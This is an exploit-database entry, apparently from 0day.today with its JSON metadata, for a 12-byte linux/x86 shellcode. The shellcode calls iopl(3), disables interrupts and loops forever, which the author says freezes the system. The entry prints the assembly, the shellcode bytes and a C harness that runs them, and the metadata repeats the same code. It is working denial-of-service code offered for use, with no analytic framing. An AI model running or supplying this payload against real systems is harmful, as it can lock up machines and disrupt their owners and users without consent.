ID 1337DAY-ID-7200
Type zdt
Reporter dun
Modified 2008-09-17T00:00:00
Description
Exploit for linux/x86 platform in category shellcode
================================================
linux/x86 iopl(3); asm(cli); while(1){} 12 bytes
================================================
/*
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ dun[at]strcpy.pl ]
[ linux/x86 iopl(3); asm("cli"); while(1){} 12 bytes ]
###############################################################
iopl(3); asm("cli"); while(1){}
// * this code cause freezeing system
#################################################################
__asm__(
"xorl %eax, %eax\n"
"pushl $0x3\n"
"popl %ebx\n"
"movb $0x6e,%al\n"
"int $0x80\n"
"cli\n"
"x1:\n"
"jmp x1\n"
);
*/
char shellcode[]="\x31\xc0\x6a\x03\x5b\xb0\x6e\xcd\x80\xfa\xeb\xfe";
int main() {
void (*sc)();
sc = (void *)&shellcode;
sc();
return 0;
}
# 0day.today [2018-01-03] #
{"published": "2008-09-17T00:00:00", "id": "1337DAY-ID-7200", "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for linux/x86 platform in category shellcode", "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2018-01-03T17:11:43", "rev": 2}, "dependencies": {"references": [], "modified": "2018-01-03T17:11:43", "rev": 2}, "vulnersScore": 0.3}, "type": "zdt", "lastseen": "2018-01-03T17:11:43", "edition": 2, "title": "linux/x86 iopl(3); asm(cli); while(1){} 12 bytes", "href": "https://0day.today/exploit/description/7200", "modified": "2008-09-17T00:00:00", "bulletinFamily": "exploit", "viewCount": 39, "cvelist": [], "sourceHref": "https://0day.today/exploit/7200", "references": [], "reporter": "dun", "sourceData": "================================================\r\nlinux/x86 iopl(3); asm(cli); while(1){} 12 bytes\r\n================================================\r\n\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n :::::::-. ... ::::::. :::.\r\n ;;, `';, ;; ;;;`;;;;, `;;;\r\n `[[ [[[[' [[[ [[[[[. '[[\r\n $$, $$$$ $$$ $$$ \"Y$c$$\r\n 888_,o8P'88 .d888 888 Y88\r\n MMMMP\"` \"YmmMMMM\"\" MMM YM\r\n\r\n \t[ dun[at]strcpy.pl ]\r\n \r\n [ linux/x86 iopl(3); asm(\"cli\"); while(1){} 12 bytes ]\r\n \r\n ###############################################################\r\n iopl(3); asm(\"cli\"); while(1){}\r\n // * this code cause freezeing system\r\n #################################################################\r\n \r\n __asm__(\r\n\t\"xorl %eax, %eax\\n\"\r\n\t\"pushl $0x3\\n\"\r\n\t\"popl %ebx\\n\"\r\n\t\"movb $0x6e,%al\\n\"\r\n\t\"int $0x80\\n\"\r\n\t\"cli\\n\"\r\n\t\"x1:\\n\"\r\n\t\"jmp x1\\n\"\r\n );\r\n\r\n*/\r\n\r\n\r\nchar shellcode[]=\"\\x31\\xc0\\x6a\\x03\\x5b\\xb0\\x6e\\xcd\\x80\\xfa\\xeb\\xfe\";\r\n\r\nint main() {\r\n\r\n\tvoid (*sc)();\r\n\tsc = (void *)&shellcode;\r\n\tsc();\r\n\t\r\nreturn 0;\r\n}\r\n\r\n\r\n\n# 0day.today [2018-01-03] #"}
{}